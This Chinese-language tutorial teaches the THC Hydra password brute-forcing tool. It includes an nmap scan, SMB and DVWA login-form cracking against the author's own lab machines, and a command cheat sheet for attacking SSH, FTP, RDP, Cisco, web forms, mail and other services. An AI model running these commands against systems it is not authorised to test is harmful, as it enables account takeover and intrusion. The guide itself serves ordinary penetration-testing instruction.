这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破解,其密码能否被破解关键在于字典是否足够强大。对于社会工程型渗透来说,有时能够得到事半功倍的效果。

hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。

hydra 是一款强大的,在线密码破解工具。它支持Linux和Windows密码的破解,同时也支持许多服务的登录密码破解。除此之外,它还可以进行,基于表单登陆的密码破解。下面,让我们看看如何使用该工具。

官网个版本下载(部分地区打不开的自己翻墙)

Home:https://www.thc.org/thc-hydra/

Windows:https://github.com/maaaaz/thc-hydra-windows

Linux:https://github.com/vanhauser-thc/thc-hydra

更多版本工具获取 黑协十五周年纪念优盘里头有。https://shop260083730.taobao.com

首先,我们来看看hydra的帮助文档。终端输入命令:

hydra -h

我们可以看到他支持的破解服务非常多。例如:rdp,ftp,Cisco等。

现在,我以我物理机win10进行破解演示。我先win10上设置一个用户名为 admin 登录密码也为 admin 的用户。

现在回到Kali上。我用 nmap 对这台服务器上开放的端口进行扫描。输入命令:

nmap -p 1-1000 192.168.1.100

通过 nmap 的扫描,我们可以看到开放了很多危险端口。

现在,让我们尝试进行 smb 服务的破解。输入命令:

hydra -l admin -P pass.txt smb://192.168.1.100

-l: 用户名。

-P: 密码字典。

-t: 代表线程数。过大的线程,极易导致hydra的奔溃。

-vV: 显示详细过程

可以看到很快我们就获得了密码:admin admin 。

我们可以看到密码为12345678 。

hydra不仅支持命令操作,它还支持图形化界面。输入命令: xhydra 就可以打开它的图形界面了。操作和命令是一样的。

最后为大家介绍下表单的破解。我们以 DVWA为例。DVWA是以 post 方式进行提交的。我们输入以下命令:hydra -l admin -P pass.txt 192.168.30.128 http-post-form“/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:S=index.php” -t 1 -vV

http-post-form :表单提交方式。

“/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:S=index.php” 这一串代表的是post 提交时的数据。

S 表示成功登录时的特征。很快密码也被破解了出来。

密码: password 

可以看出,用hydra破解表单密码是非常复杂的。因此,建议破此类密码可以用其它工具。

1、破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh

hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV

hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4、post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip

http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)

5、破解https:

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

6、破解teamspeak:

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7、破解cisco:

hydra -P pass.txt 10.36.16.18 cisco

hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8、破解smb:

hydra -l administrator -P pass.txt 10.36.16.18 smb

9、破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

10、破解rdp:

hydra ip rdp -l administrator -P pass.txt -V

11、破解http-proxy:

hydra -l admin -P pass.txt http-proxy://10.36.16.18

12、破解imap:

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN

hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

作者:合天网安